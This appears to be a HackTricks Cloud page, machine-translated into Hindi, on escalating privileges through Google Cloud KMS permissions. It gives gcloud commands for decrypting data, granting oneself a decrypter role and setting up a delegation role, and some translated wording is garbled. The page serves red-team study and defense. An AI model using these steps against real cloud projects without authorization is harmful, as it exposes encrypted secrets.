GCP - KMS Privesc
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
KMS
KMS के बारे में जानकारी:
ध्यान दें कि KMS में अनुमतियाँ केवल संस्थाओं, फ़ोल्डरों और परियोजनाओं से विरासत में नहीं मिलती हैं बल्कि कीरिंग्स से भी मिलती हैं।
cloudkms.cryptoKeyVersions.useToDecrypt
आप इस अनुमति का उपयोग कुंजी के साथ जानकारी को डिक्रिप्ट करने के लिए कर सकते हैं जिसके ऊपर आपके पास यह अनुमति है।
gcloud kms decrypt \
--location=[LOCATION] \
--keyring=[KEYRING_NAME] \
--key=[KEY_NAME] \
--version=[KEY_VERSION] \
--ciphertext-file=[ENCRYPTED_FILE_PATH] \
--plaintext-file=[DECRYPTED_FILE_PATH]
cloudkms.cryptoKeys.setIamPolicy
इस अनुमति के साथ एक हमलावर अपने लिए अनुमति दे सकता है कि वह कुंजी का उपयोग करके जानकारी को डिक्रिप्ट करे।
gcloud kms keys add-iam-policy-binding [KEY_NAME] \
--location [LOCATION] \
--keyring [KEYRING_NAME] \
--member [MEMBER] \
--role roles/cloudkms.cryptoKeyDecrypter
cloudkms.cryptoKeyVersions.useToDecryptViaDelegation
यहाँ इस प्रतिनिधित्व के काम करने का एक वैचारिक विश्लेषण है:
- Service Account A को KMS में एक विशिष्ट कुंजी का उपयोग करके डिक्रिप्ट करने का सीधा अधिकार है।
- Service Account B को
useToDecryptViaDelegation
अनुमति दी गई है। यह इसे Service Account A की ओर से डेटा डिक्रिप्ट करने के लिए KMS से अनुरोध करने की अनुमति देता है।
इस अनुमति का उपयोग उस तरीके में निहित है जिसमें KMS सेवा अनुमति की जांच करती है जब एक डिक्रिप्शन अनुरोध किया जाता है।
जब आप Google Cloud KMS API का उपयोग करके एक मानक डिक्रिप्शन अनुरोध करते हैं (Python या किसी अन्य भाषा में), तो सेवा जांचती है कि क्या अनुरोध करने वाले सेवा खाते के पास आवश्यक अनुमतियाँ हैं। यदि अनुरोध एक सेवा खाते द्वारा किया जाता है जिसके पास useToDecryptViaDelegation
अनुमति है, तो KMS यह सत्यापित करता है कि क्या यह खुशखबरी उस इकाई की ओर से डिक्रिप्शन का अनुरोध करने के लिए अनुमति प्राप्त है जो कुंजी का मालिक है।
प्रतिनिधित्व के लिए सेटिंग अप
- कस्टम भूमिका परिभाषित करें: एक YAML फ़ाइल बनाएं (जैसे,
custom_role.yaml
) जो कस्टम भूमिका को परिभाषित करती है। इस फ़ाइल मेंcloudkms.cryptoKeyVersions.useToDecryptViaDelegation
अनुमति शामिल होनी चाहिए। यहाँ इस फ़ाइल का एक उदाहरण है:
title: "KMS Decryption via Delegation"
description: "Allows decryption via delegation"
stage: "GA"
includedPermissions:
- "cloudkms.cryptoKeyVersions.useToDecryptViaDelegation"
- gcloud CLI का उपयोग करके कस्टम भूमिका बनाएं: अपने Google Cloud प्रोजेक्ट में कस्टम भूमिका बनाने के लिए निम्नलिखित कमांड का उपयोग करें:
gcloud iam roles create kms_decryptor_via_delegation --project [YOUR_PROJECT_ID] --file custom_role.yaml
[YOUR_PROJECT_ID]
को अपने Google Cloud प्रोजेक्ट ID से बदलें।
- एक सेवा खाते को कस्टम भूमिका दें: इस अनुमति का उपयोग करने वाले सेवा खाते को अपनी कस्टम भूमिका सौंपें। निम्नलिखित कमांड का उपयोग करें:
# Give this permission to the service account to impersonate
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member "serviceAccount:[SERVICE_ACCOUNT_B_EMAIL]" \
--role "projects/[PROJECT_ID]/roles/[CUSTOM_ROLE_ID]"
# Give this permission over the project to be able to impersonate any SA
gcloud projects add-iam-policy-binding [YOUR_PROJECT_ID] \
--member="serviceAccount:[SERVICE_ACCOUNT_EMAIL]" \
--role="projects/[YOUR_PROJECT_ID]/roles/kms_decryptor_via_delegation"
[YOUR_PROJECT_ID]
और [SERVICE_ACCOUNT_EMAIL]
को क्रमशः अपने प्रोजेक्ट आईडी और सेवा खाते के ईमेल से बदलें।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।